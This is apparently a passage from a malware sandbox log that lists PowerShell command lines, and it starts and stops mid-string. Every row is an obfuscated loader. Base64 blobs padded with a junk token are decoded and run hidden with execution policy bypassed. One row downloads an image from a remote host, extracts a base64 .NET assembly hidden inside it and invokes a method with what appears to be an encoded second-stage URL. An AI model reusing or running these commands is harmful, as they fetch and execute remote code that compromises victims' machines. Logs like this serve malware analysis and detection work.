wTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEYvAbfwTjZQSeUbvAbfwTjZQSeUBhvAbfwTjZQSeUGcvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeU9vAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJwvAbfwTjZQSeU8vAbfwTjZQSeUDwvAbfwTjZQSeUQgBBvAbfwTjZQSeUFMvAbfwTjZQSeURQvAbfwTjZQSeU2vAbfwTjZQSeUDQvAbfwTjZQSeUXwBTvAbfwTjZQSeUFQvAbfwTjZQSeUQQBSvAbfwTjZQSeUFQvAbfwTjZQSeUPgvAbfwTjZQSeU+vAbfwTjZQSeUCcvAbfwTjZQSeUOwvAbfwTjZQSeUkvAbfwTjZQSeUGUvAbfwTjZQSeUbgBkvAbfwTjZQSeUEYvAbfwTjZQSeUbvAbfwTjZQSeUBhvAbfwTjZQSeUGcvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeU9vAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJwvAbfwTjZQSeU8vAbfwTjZQSeUDwvAbfwTjZQSeUQgBBvAbfwTjZQSeUFMvAbfwTjZQSeURQvAbfwTjZQSeU2vAbfwTjZQSeUDQvAbfwTjZQSeUXwBFvAbfwTjZQSeUE4vAbfwTjZQSeURvAbfwTjZQSeUvAbfwTjZQSeU+vAbfwTjZQSeUD4vAbfwTjZQSeUJwvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEkvAbfwTjZQSeUbgBkvAbfwTjZQSeUGUvAbfwTjZQSeUevAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUD0vAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUkvAbfwTjZQSeUGkvAbfwTjZQSeUbQBhvAbfwTjZQSeUGcvAbfwTjZQSeUZQBUvAbfwTjZQSeUGUvAbfwTjZQSeUevAbfwTjZQSeUB0vAbfwTjZQSeUC4vAbfwTjZQSeUSQBuvAbfwTjZQSeUGQvAbfwTjZQSeUZQB4vAbfwTjZQSeUE8vAbfwTjZQSeUZgvAbfwTjZQSeUovAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTj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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('vAbfwTjZQSeU','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" |
cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4082989.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmdvZWVnbmsvMTUuMzMuMjQuMzkxLy86cHR0aA==' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))" |
cmdline | powershell -command "$Codigo = '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ZQSeUGEvAbfwTjZQSeUbgBkvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBJvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBlvAbfwTjZQSeUHgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUtvAbfwTjZQSeUGcvAbfwTjZQSeUdvAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEkvAbfwTjZQSeUbgBkvAbfwTjZQSeUGUvAbfwTjZQSeUevAbfwTjZQSeUvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEkvAbfwTjZQSeUbgBkvAbfwTjZQSeUGUvAbfwTjZQSeUevAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCsvAbfwTjZQSeUPQvAbfwTjZQSeUgvAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEYvAbfwTjZQSeUbvAbfwTjZQSeUBhvAbfwTjZQSeUGcvAbfwTjZQSeULgBMvAbfwTjZQSeUGUvAbfwTjZQSeUbgBnvAbfwTjZQSeUHQvAbfwTjZQSeUavAbfwTjZQSeUvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUYgBhvAbfwTjZQSeUHMvAbfwTjZQSeUZQvAbfwTjZQSeU2vAbfwTjZQSeUDQvAbfwTjZQSeUTvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZwB0vAbfwTjZQSeUGgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeU9vAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBJvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBlvAbfwTjZQSeUHgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQS